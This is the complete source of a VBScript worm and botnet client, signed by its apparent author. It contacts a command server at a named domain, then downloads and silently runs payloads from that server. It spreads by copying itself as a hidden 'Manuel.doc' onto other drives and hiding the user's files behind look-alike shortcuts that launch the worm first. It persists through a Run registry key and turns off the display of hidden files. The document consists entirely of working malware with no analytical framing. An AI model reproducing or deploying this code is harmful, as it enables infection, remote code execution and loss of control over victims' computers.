'<coded by Bl4cKs0cK>' בלה בלה בלה
On Error Resume Next 
Dim host
host = "realy.mooo.com"
Dim host_script
host_script = "bot/lancer/index.php"
Dim activ_name
activ_name = "SysinfY2X.db"
Dim passiv_name
passiv_name = "Manuel.doc"
Dim sleep_time
sleep_time = 2000
Dim sleep_time_limit
sleep_time_limit = 60000
Dim http
Set http = CreateObject("MSXML2.ServerXMLHTTP")
Dim sh
Set sh = WScript.CreateObject("WScript.Shell")
Dim fs
Set fs= CreateObject("Scripting.FileSystemObject")
Dim WMIService
Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Const adTypeBinary = 1
Const adTypeText = 2
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
Dim stream_self
Set stream_self = CreateObject("Adodb.Stream")
Dim script_name
script_name = Wscript.ScriptName
Dim tmp_dir
tmp_dir = sh.ExpandEnvironmentStrings("%temp%") & "\"
host = "http://" & host & "/"
stream_self.Type = adTypeBinary
stream_self.Open
stream_self.LoadFromFile fs.GetFile(Wscript.ScriptFullName)
Dim script_size
script_size = stream_self.Size
If (script_name = activ_name) Then	
	Dim serv_rep, cont, cont_limit
	cont = 0
	cont_limit = CInt(sleep_time_limit / sleep_time)
	While True
		infect_drives
		infect_registre
		protect_del
		kill_old("SysinfYhX.db")
		If cont < cont_limit Then
			cont = cont + 1
			wscript.sleep sleep_time
		Else
			cont = 0
			serv_rep = serv_cmd("ping")
			If serv_rep <> "-1" Then
				cont_limit = CInt(CInt(serv_rep) / sleep_time)
				serv_rep = serv_cmd(script_size & activ_name)
				If serv_rep <> "-1" Then
					If serv_rep <> "0" Then
						get_new_v(serv_rep)
					Else
						serv_rep = serv_cmd("list")
						If serv_rep <> "-1" Then
							get_list(serv_rep)
						End If
					End If
				End If	
			Else
				cont_limit = CInt(sleep_time_limit / sleep_time)
			End If
		End If
	Wend
Else
	infect_machin
End if
Function serv_cmd(cmd)
 On Error Resume Next
	Dim stat
	http.Open "GET", host & host_script & "?cmd=" & cmd , False
	http.Send
	stat = http.Status
	If stat <> 200 Then
		serv_cmd = "-1"
	Else
		serv_cmd=http.ResponseText
	End If
End Function
Function bot_up(arr)
 On Error Resume Next
	Dim stat, frm_, size_, to_, lnc_
	frm_ = arr(1)
	size_ = arr(2)
	to_ = arr(3)
	lnc_ = arr(4)
	Dim stream
	Set stream = CreateObject("Adodb.Stream")
	stream.Type = adTypeBinary
	stream.Open
	If fs.FileExists (tmp_dir & to_) Then
		If fs.GetFile(tmp_dir & to_).Size <> size_ Then
			http.Open "GET", frm_, False
			http.Send
			If http.Status <> 200 Then
				bot_up = False
			Else
				stream.Write http.ResponseBody
				fs.GetFile(tmp_dir & to_).Attributes=2
				fs.DeleteFile tmp_dir & to_, True
				stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
				fs.GetFile(tmp_dir & to_).Attributes=1+2+4
				bot_up = True
			End If
		Else
			bot_up = False
		End If
	Else
		http.Open "GET", frm_, False
		http.Send
		If http.Status <> 200 Then
			bot_up = False
		Else
			stream.Write http.ResponseBody	
			stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
			fs.GetFile(tmp_dir & to_).Attributes=1+2+4
			bot_up = True
		End If
	End If
	stream.Close
	If bot_up Then
		sh.Run "cmd /c start " & lnc_ & " %temp%\" & to_, 0 				
	End If
End Function
Function get_split(in_)
 On Error Resume Next
	Dim ret
	ret = Array(True, "", 0, "", "")
	ret(1) = Split(Split(in_, "<from>")(1), "<br>")(0)
	ret(2) = CInt(Split(Split(in_, "<size>")(1), "<br>")(0))
	ret(3) = Split(Split(in_, "<to>")(1), "<br>")(0)
	ret(4) = Split(Split(in_, "<lancer>")(1), "<br>")(0)
	For Each a In ret
		If a = "" Or a = " " Then
			ret(0) = False
			Exit For
		End If
	Next
	get_split = ret
End Function
Function get_new_v(req)
 On Error Resume Next
	Dim data_
	data_ = get_split(req)
	If data_(0) Then
		If bot_up(data_) Then
			If data_(3) <> script_name Then
				del_registre
				fs.GetFile(Wscript.ScriptFullName).Attributes=2
				fs.DeleteFile Wscript.ScriptFullName, True
			End If
			wscript.quit
		End If
	End If
End Function
Function get_list(req)
 On Error Resume Next
	If req <> "0" Then
		Dim tbl
		tbl = Split(req, "<list>")
		For Each case_ In tbl
			Dim data_
			data_ = get_split(case_)
			If data_(0) Then
				bot_up(data_)
			End If
		Next
		get_list = True
	Else
		get_list = False
	End If
End Function
Function infect_machin
 On Error Resume Next
	infect_registre
	If fs.FileExists (tmp_dir & activ_name) Then
		If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
			fs.GetFile(tmp_dir & activ_name).Attributes=2
			fs.DeleteFile tmp_dir & activ_name, True
			stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
			fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
			infect_machin = True
		Else
			infect_machin = False
		End If
	Else
		stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
		fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
		infect_machin = True
	End If
	If infect_machin Then
		sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
	Else
		Dim colItms
		Set colItms = WMIService.ExecQuery ("Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%" & activ_name & "%'")
		If colItms.Count = 0 Then
			sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
		End If
		Set colItms = Nothing
	End If
	wscript.quit
End Function 
Sub infect_drives
  On Error Resume Next
	Dim sys_drive
	sys_drive = sh.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
	For Each cle In fs.Drives
		If cle.isReady And (cle.DriveType = 1 Or cle.DriveType = 3 Or cle.DriveType = 4) Then
			Dim d
			d = cle.path
			If d <> sys_drive Then
				If fs.FileExists(d & "\" & passiv_name) Then
					If (fs.GetFile(d & "\" & passiv_name).Size <> script_size) And (cle.FreeSpace > Abs(fs.GetFile(d & "\" & passiv_name).Size - script_size)) Then
						fs.GetFile(d & "\" & passiv_name).Attributes=2
						fs.DeleteFile d & "\" & passiv_name, True
						stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateOverWrite 
					End If
				Else
					If cle.FreeSpace > script_size Then
						stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateNotExist
					End If
				End If
				fs.GetFile(d & "\" & passiv_name).Attributes=1+2+4
				If cle.FreeSpace > 0 Then
					For Each f In fs.GetFolder(d & "\").Files
						Dim f_ext
						If instr(f.name, ".") Then
							Dim f_name
							f_name = split(f.name, ".")
							f_ext = lcase( f_name(ubound(f_name)) )
						Else
							f_ext = "NULL"
						End if
						If f_ext <> "lnk" And f.name <> passiv_name And f.Attributes <> 2+4 Then
							f.Attributes = 2+4
							If fs.FileExists(d & "\" & f.name & ".lnk") Then
								fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 0
							End If
							Dim shurt, s_icon
							Set shurt = sh.CreateShortcut(d & "\" & f.name & ".lnk")
							shurt.WindowStyle = 7
							shurt.TargetPath = "cmd.exe"
							shurt.WorkingDirectory = ""
							Dim f_arg
							f_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start " & replace( f.name," ", ChrW(34) & " " & ChrW(34))
							shurt.Arguments = f_arg & " & exit"
							s_icon = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & f_ext & "\") & "\DefaultIcon\")
							If ( instr(s_icon, ",") = 0 ) Or f_ext = "NULL" Then
								shurt.IconLocation = f.path
							Else
								shurt.IconLocation = s_icon
							End if
							shurt.Save()
							fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 1
						End if
					Next
					For Each ff In fs.GetFolder(d & "\").SubFolders
						If ff.Attributes <> 2+4 Then					
							ff.Attributes = 2+4
							If fs.FileExists(d & "\" & ff.name & ".lnk") Then
								fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 0
							End If
							Dim shurt_, s_icon_
							Set shurt_ = sh.CreateShortcut(d & "\" & ff.name & ".lnk")
							shurt_.WindowStyle = 7
							shurt_.TargetPath = "cmd.exe"
							shurt_.WorkingDirectory = ""
							Dim ff_arg
							ff_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start explorer " & replace( ff.name," ", ChrW(34) & " " & ChrW(34))
							shurt_.Arguments = ff_arg & " & exit"
							s_icon_ = sh.regread("HKLM\SOFTWARE\Classes\Folder\DefaultIcon\")
							If instr(s_icon_, ",") = 0 Then
								shurt_.IconLocation = ff.path
							Else
								shurt_.IconLocation = s_icon_
							End if
							shurt_.save()
							fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 1
						End If
					Next
				End If
			End If
		End If
	Next
End Sub 
Sub infect_registre
 On Error Resume Next
	Dim target, reg_d
	target = "C:\WINDOWS\system32\cmd.exe /c start wscript  /e:VBScript.Encode %temp%\" & activ_name
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
	sh.regwrite "HKCU" & reg_d, target, "REG_SZ"
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
	sh.regwrite "HKCU" & reg_d, 2, "REG_DWORD"
End Sub
Sub del_registre
 On Error Resume Next
	Dim reg_d
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
	sh.RegDelete "HKCU" & reg_d
End Sub
Function protect_del
 On Error Resume Next
	If fs.FileExists (tmp_dir & activ_name) Then
		If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
			fs.GetFile(tmp_dir & activ_name).Attributes=2
			stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
		End If
	Else
		stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
	End If
	fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
End Function
Function kill_old(old_name)
 On Error Resume Next
	Dim colItems, reg_d
	Set colItems = WMIService.ExecQuery ("Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%" & old_name & "%'")
	For Each objItem in colItems
		objItem.Terminate
	Next
	colItems = Nothing
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(old_name, ".")(0)
	sh.RegDelete "HKCU" & reg_d
	fs.GetFile(tmp_dir & old_name).Attributes=2
	fs.DeleteFile tmp_dir & "\" & old_name, True
End Function